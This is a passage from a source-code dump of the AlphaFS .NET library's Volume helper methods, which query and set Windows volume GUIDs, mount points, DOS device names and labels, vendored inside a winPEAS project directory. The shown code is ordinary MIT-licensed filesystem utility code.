a /// relative file or directory name without a volume qualifier, GetUniqueVolumeNameForPath returns the Drive letter of the current /// volume. /// /// /// Returns the unique volume name in the form: "\\?\Volume{GUID}\", /// or null on error or if unavailable. /// [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] public static string GetUniqueVolumeNameForPath(string volumePathName) { if (Utils.IsNullOrWhiteSpace(volumePathName)) throw new ArgumentNullException("volumePathName"); try { return GetVolumeGuid(GetVolumePathName(volumePathName)); } catch { return null; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeDeviceName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Retrieves the Win32 Device name from the Volume name. /// The Win32 Device name from the Volume name, for example: "\Device\HarddiskVolume2", or null on error or if unavailable. /// This is the same method as . /// /// /// Name of the Volume. [SecurityCritical] public static string GetVolumeDeviceName(string volumeName) { return QueryDosDevice(volumeName); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeDisplayName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Gets the shortest display name for the specified . /// This method basically returns the shortest string returned by /// A volume path: \\?\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\. /// /// The shortest display name for the specified volume found, or null if no display names were found. /// [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] public static string GetVolumeDisplayName(string volumeName) { string[] smallestMountPoint = { new string(Path.WildcardStarMatchAllChar, NativeMethods.MaxPathUnicode) }; try { foreach (var m in EnumerateVolumePathNames(volumeName).Where(m => !Utils.IsNullOrWhiteSpace(m) && m.Length < smallestMountPoint[0].Length)) smallestMountPoint[0] = m; } catch { } var result = smallestMountPoint[0][0] == Path.WildcardStarMatchAllChar ? null : smallestMountPoint[0]; return Utils.IsNullOrWhiteSpace(result) ? null : result; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeGuid.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] /// Retrieves a volume path for the volume that is associated with the specified volume mount point (drive letter, /// volume GUID path, or mounted folder). /// /// /// /// The path of a mounted folder (for example, "Y:\MountX\") or a drive letter (for example, "X:\"). /// /// The unique volume name of the form: "\\?\Volume{GUID}\". [SuppressMessage("Microsoft.Interoperability", "CA1404:CallGetLastErrorImmediatelyAfterPInvoke", Justification = "Marshal.GetLastWin32Error() is manipulated.")] [SecurityCritical] public static string GetVolumeGuid(string volumeMountPoint) { if (Utils.IsNullOrWhiteSpace(volumeMountPoint)) throw new ArgumentNullException("volumeMountPoint"); // The string must end with a trailing backslash ('\'). volumeMountPoint = Path.GetFullPathCore(null, false, volumeMountPoint, GetFullPathOptions.AsLongPath | GetFullPathOptions.AddTrailingDirectorySeparator | GetFullPathOptions.FullCheck); var volumeGuid = new StringBuilder(100); var uniqueName = new StringBuilder(100); try { using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { // GetVolumeNameForVolumeMountPoint() // 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists. return NativeMethods.GetVolumeNameForVolumeMountPoint(volumeMountPoint, volumeGuid, (uint)volumeGuid.Capacity) // The string must end with a trailing backslash. ? NativeMethods.GetVolumeNameForVolumeMountPoint(Path.AddTrailingDirectorySeparator(volumeGuid.ToString(), false), uniqueName, (uint)uniqueName.Capacity) ? uniqueName.ToString() : null : null; } } finally { var lastError = (uint) Marshal.GetLastWin32Error(); switch (lastError) { case Win32Errors.ERROR_MORE_DATA: // (1) When GetVolumeNameForVolumeMountPoint() succeeds, lastError is set to Win32Errors.ERROR_MORE_DATA. break; default: // (2) When volumeMountPoint is a network drive mapping or UNC path, lastError is set to Win32Errors.ERROR_INVALID_PARAMETER. // Throw IOException. NativeError.ThrowException(lastError, volumeMountPoint); break; } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeGuidForNtDeviceName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Linq; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] /// Tranlates DosDevicePath to a Volume GUID. For example: "\Device\HarddiskVolumeX\path\filename.ext" can translate to: "\path\ /// filename.ext" or: "\\?\Volume{GUID}\path\filename.ext". /// /// A DosDevicePath, for example: \Device\HarddiskVolumeX\path\filename.ext. /// A translated dos path. [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Nt")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Nt")] public static string GetVolumeGuidForNtDeviceName(string dosDevice) { return (from drive in Directory.EnumerateLogicalDrivesCore(false, false) where drive.DosDeviceName.Equals(dosDevice, StringComparison.OrdinalIgnoreCase) select drive.VolumeInfo.Guid).FirstOrDefault(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Retrieves information about the file system and volume associated with the specified root file or directorystream. /// A path that contains the root directory. /// A instance describing the volume associatied with the specified root directory. [SecurityCritical] public static VolumeInfo GetVolumeInfo(string volumePath) { return new VolumeInfo(volumePath, true, false); } /// [AlphaFS] Retrieves information about the file system and volume associated with the specified root file or directorystream. /// An instance to a handle. /// A instance describing the volume associatied with the specified root directory. [SecurityCritical] public static VolumeInfo GetVolumeInfo(SafeFileHandle volumeHandle) { return new VolumeInfo(volumeHandle, true, true); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumePathName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Retrieves the volume mount point where the specified path is mounted. /// /// The path to the volume, for example: "C:\Windows". /// /// Returns the nearest volume root path for a given directory. /// The volume path name, for example: "C:\Windows" returns: "C:\". /// [SecurityCritical] public static string GetVolumePathName(string path) { if (Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { var volumeRootPath = new StringBuilder(NativeMethods.MaxPathUnicode / 32); var pathLp = Path.GetFullPathCore(null, false, path, GetFullPathOptions.AsLongPath | GetFullPathOptions.FullCheck); // GetVolumePathName() // 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists. var success = NativeMethods.GetVolumePathName(pathLp, volumeRootPath, (uint) volumeRootPath.Capacity); var lastError = Marshal.GetLastWin32Error(); if (success) return Path.GetRegularPathCore(volumeRootPath.ToString(), GetFullPathOptions.None, false); switch ((uint) lastError) { // Don't throw exception on these errors. case Win32Errors.ERROR_NO_MORE_FILES: case Win32Errors.ERROR_INVALID_PARAMETER: case Win32Errors.ERROR_INVALID_NAME: break; default: NativeError.ThrowException(lastError, path); break; } // Return original path. return path; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsReady.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Gets a value indicating whether a drive is ready. /// /// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\". /// /// true if is ready; otherwise, false. [SecurityCritical] public static bool IsReady(string drivePath) { return File.ExistsCore(null, true, drivePath, PathFormat.FullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsSameVolume.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Determines whether the volume of two file system objects is the same, by comparing their serial numbers. /// The first filesystem object with full path information. /// The second file system object with full path information. /// true if both filesytem objects reside on the same volume, false otherwise. [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] public static bool IsSameVolume(string path1, string path2) { try { var volInfo1 = new VolumeInfo(GetVolumePathName(path1), true, true); var volInfo2 = new VolumeInfo(GetVolumePathName(path2), true, true); return volInfo1.SerialNumber.Equals(volInfo2.SerialNumber) || volInfo1.Guid.Equals(volInfo2.Guid, StringComparison.OrdinalIgnoreCase); } catch { } return false; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsVolume.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Determines whether the specified volume name is a defined volume on the current computer. /// /// A path to a volume. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\". /// /// true on success, false otherwise. [SecurityCritical] public static bool IsVolume(string volumeMountPoint) { return !Utils.IsNullOrWhiteSpace(GetVolumeGuid(volumeMountPoint)); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.QueryDosDevice.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Retrieves a sorted list of all existing MS-DOS device names. /// An sorted list of all existing MS-DOS device names. [SecurityCritical] public static IEnumerable QueryAllDosDevices() { return QueryDosDeviceCore(null, true); } /// [AlphaFS] Retrieves the current mapping for a particular MS-DOS device name. /// The current mapping for a particular MS-DOS device name. /// /// /// An MS-DOS device name string specifying the target of the query, such as: "C:", "D:" or "\\?\Volume{GUID}". [SecurityCritical] public static string QueryDosDevice(string deviceName) { if (Utils.IsNullOrWhiteSpace(deviceName)) throw new ArgumentNullException("deviceName"); var devName = QueryDosDeviceCore(deviceName, false).ToArray()[0]; return !Utils.IsNullOrWhiteSpace(devName) ? devName : null; } /// [AlphaFS] Retrieves the current mapping for a particular MS-DOS device name. The function can also obtain a list of all existing MS-DOS device names. /// An sorted list of all existing MS-DOS device names or the . /// /// /// An MS-DOS device name string specifying the target of the query, such as: "C:", "D:" or "\\?\Volume{GUID}". /// true to sort the list with MS-DOS device names. [SecurityCritical] internal static IEnumerable QueryDosDeviceCore(string deviceName, bool sort) { // deviceName is allowed to be null: Retrieve a list of all existing MS-DOS device names. // The deviceName cannot have a trailing backslash. if (!Utils.IsNullOrWhiteSpace(deviceName)) { if (deviceName.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase)) { yield return deviceName.Substring(Path.GlobalRootPrefix.Length); yield break; } if (deviceName.StartsWith(Path.VolumePrefix, StringComparison.OrdinalIgnoreCase)) deviceName = deviceName.Substring(Path.LongPathPrefix.Length); deviceName = Path.RemoveTrailingDirectorySeparator(deviceName); } uint returnedBufferSize = 0; var bufferSize = (uint) (sort ? NativeMethods.DefaultFileBufferSize : 64); var sortedList = new List(sort ? 256 : 0); using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) while (returnedBufferSize == 0) { var cBuffer = new char[bufferSize]; returnedBufferSize = NativeMethods.QueryDosDevice(deviceName, cBuffer, bufferSize); var lastError = Marshal.GetLastWin32Error(); if (returnedBufferSize == 0) switch ((uint) lastError) { case Win32Errors.ERROR_MORE_DATA: case Win32Errors.ERROR_INSUFFICIENT_BUFFER: bufferSize *= 2; continue; default: NativeError.ThrowException(lastError, deviceName); break; } var buffer = new StringBuilder((int) returnedBufferSize); for (var i = 0; i < returnedBufferSize; i++) { if (cBuffer[i] != Path.StringTerminatorChar) buffer.Append(cBuffer[i]); else if (buffer.Length > 0) { var assembledPath = buffer.ToString(); assembledPath = !Utils.IsNullOrWhiteSpace(assembledPath) ? assembledPath : null; if (sort) sortedList.Add(assembledPath); else yield return assembledPath; buffer.Length = 0; } } } if (sort) { foreach (var devName in sortedList.OrderBy(devName => devName)) yield return devName; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.SetVolumeMountPoint.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Associates a volume with a Drive letter or a directory on another volume. /// /// /// /// The user-mode path to be associated with the volume. This may be a Drive letter (for example, "X:\") /// or a directory on another volume (for example, "Y:\MountX\"). /// /// A containing the volume . [SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "1", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")] [SecurityCritical] public static void SetVolumeMountPoint(string volumeMountPoint, string volumeGuid) { if (Utils.IsNullOrWhiteSpace(volumeMountPoint)) throw new ArgumentNullException("volumeMountPoint"); if (Utils.IsNullOrWhiteSpace(volumeGuid)) throw new ArgumentNullException("volumeGuid"); if (!volumeGuid.StartsWith(Path.VolumePrefix + "{", StringComparison.OrdinalIgnoreCase)) throw new ArgumentException(Resources.Not_A_Valid_Guid, "volumeGuid"); volumeMountPoint = Path.GetFullPathCore(null, false, volumeMountPoint, GetFullPathOptions.AsLongPath | GetFullPathOptions.AddTrailingDirectorySeparator | GetFullPathOptions.FullCheck); // This string must be of the form "\\?\Volume{GUID}\" volumeGuid = Path.AddTrailingDirectorySeparator(volumeGuid, false); // ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups. using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { // SetVolumeMountPoint() // 2014-01-29: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // The string must end with a trailing backslash. var success = NativeMethods.SetVolumeMountPoint(volumeMountPoint, volumeGuid); var lastError = Marshal.GetLastWin32Error(); if (!success) { // If the lpszVolumeMountPoint parameter contains a path to a mounted folder, // GetLastError returns ERROR_DIR_NOT_EMPTY, even if the directory is empty. if (lastError != Win32Errors.ERROR_DIR_NOT_EMPTY) NativeError.ThrowException(lastError, volumeGuid); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.VolumeLabel.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Deletes the label of the file system volume that is the root of the current directory. [SecurityCritical] public static void DeleteCurrentVolumeLabel() { SetVolumeLabel(null, null); } /// [AlphaFS] Deletes the label of a file system volume. /// /// The root directory of a file system volume. This is the volume the function will remove the label. [SecurityCritical] public static void DeleteVolumeLabel(string rootPathName) { if (Utils.IsNullOrWhiteSpace(rootPathName)) throw new ArgumentNullException("rootPathName"); SetVolumeLabel(rootPathName, null); } /// [AlphaFS] Retrieve the label of a file system volume. /// /// A path to a volume. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\". /// /// The the label of the file system volume. This function can return string.Empty since a volume label is generally not mandatory. [SecurityCritical] public static string GetVolumeLabel(string volumePath) { return new VolumeInfo(volumePath, true, true).Name; } /// [AlphaFS] Sets the label of the file system volume that is the root of the current directory. /// /// A name for the volume. [SecurityCritical] public static void SetCurrentVolumeLabel(string volumeName) { if (Utils.IsNullOrWhiteSpace(volumeName)) throw new ArgumentNullException("volumeName"); var success = NativeMethods.SetVolumeLabel(null, volumeName); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, volumeName); } /// [AlphaFS] Sets the label of a file system volume. /// /// A path to a volume. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\" /// If this parameter is null, the function uses the current drive. /// /// /// A name for the volume. /// If this parameter is null, the function deletes any existing label /// from the specified volume and does not assign a new label. /// [SecurityCritical] public static void SetVolumeLabel(string volumePath, string volumeName) { // rootPathName == null is allowed, means current drive. // Setting volume label only applies to Logical Drives pointing to local resources. //if (!Path.IsLocalPath(rootPathName)) //return false; volumePath = Path.AddTrailingDirectorySeparator(volumePath, false); // NTFS uses a limit of 32 characters for the volume label as of Windows Server 2003. using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { var success = NativeMethods.SetVolumeLabel(volumePath, volumeName); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, volumePath, volumeName); } } } } ================================================ FILE: 